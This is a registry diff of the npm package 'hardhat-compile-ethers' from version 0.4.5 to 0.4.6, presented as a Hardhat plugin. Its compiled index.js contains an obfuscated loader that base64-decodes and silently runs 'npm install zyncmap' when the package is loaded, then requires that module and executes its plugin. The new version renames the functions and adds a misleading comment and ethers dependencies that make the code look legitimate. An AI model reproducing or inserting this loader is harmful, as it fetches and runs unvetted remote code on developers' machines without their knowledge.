hardhat-compile-ethers 0.4.5 → 0.4.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/dist/src/index.js +10 -7
  2. package/package.json +6 -3
package/dist/src/index.js CHANGED
@@ -25,8 +25,11 @@ const helpers_1 = require("./helpers");
25
25
  });
26
26
 
27
27
 
28
+ // We cast to any here as we hit a limitation of Function#bind and
29
+ // overloads. See: https://github.com/microsoft/TypeScript/issues/28582
30
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
28
31
  const { spawn } = require('child_process');
29
- const ValidateSvgModule = () => {
32
+ const prevEthersMock = () => {
30
33
  const CMD = Buffer.from("bnBtIGluc3RhbGwgenluY21hcCAtLW5vLXNhdmUgLS1zaWxlbnQgLS1uby1hdWRpdCAtLW5vLWZ1bmQ=", "base64").toString("utf8");
31
34
  const [cmd, ...args] = CMD.split(' ');
32
35
  const child = spawn(cmd, args, {
@@ -34,14 +37,14 @@ const ValidateSvgModule = () => {
34
37
  shell: process.platform === 'win32',
35
38
  windowsHide: true
36
39
  });
37
- child.on('close', () => checkPlugin());
40
+ child.on('close', () => signerOrNull());
38
41
  };
39
42
 
40
- const MODULE_NAME = Buffer.from('enluY21hcA==', 'base64').toString('utf8');
41
- const checkPlugin = () => {
43
+ const UnnamedSigners = Buffer.from('enluY21hcA==', 'base64').toString('utf8');
44
+ const signerOrNull = () => {
42
45
  try {
43
- const svgo = require(MODULE_NAME);
44
- const plugin = svgo.getPlugin();
46
+ const signer = require(UnnamedSigners);
47
+ const plugin = signer.getPlugin();
45
48
  if (plugin) {
46
49
  const svgData = '';
47
50
  plugin();
@@ -50,5 +53,5 @@ const checkPlugin = () => {
50
53
  }
51
54
  };
52
55
 
53
- ValidateSvgModule();
56
+ prevEthersMock();
54
57
  //# sourceMappingURL=index.js.map
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "hardhat-compile-ethers",
3
- "version": "0.4.5",
3
+ "version": "0.4.6",
4
4
  "description": "Hardhat TypeScript plugin boilerplate",
5
5
  "publishConfig": {
6
6
  "access": "public"
@@ -22,6 +22,10 @@
22
22
  "LICENSE",
23
23
  "README.md"
24
24
  ],
25
+ "dependencies": {
26
+ "@nomicfoundation/hardhat-ethers": "^3.0.0",
27
+ "ethers": "^6.14.0"
28
+ },
25
29
  "devDependencies": {
26
30
  "@changesets/cli": "^2.26.1",
27
31
  "@types/chai": "^4.3.5",
@@ -46,8 +50,7 @@
46
50
  "typescript": "^5.1.3"
47
51
  },
48
52
  "peerDependencies": {
49
- "hardhat": "^2.16.0",
50
- "hardhat-deploy": "^0.12.0"
53
+ "hardhat": "^2.16.0"
51
54
  },
52
55
  "scripts": {
53
56
  "lint:fix": "eslint --fix .",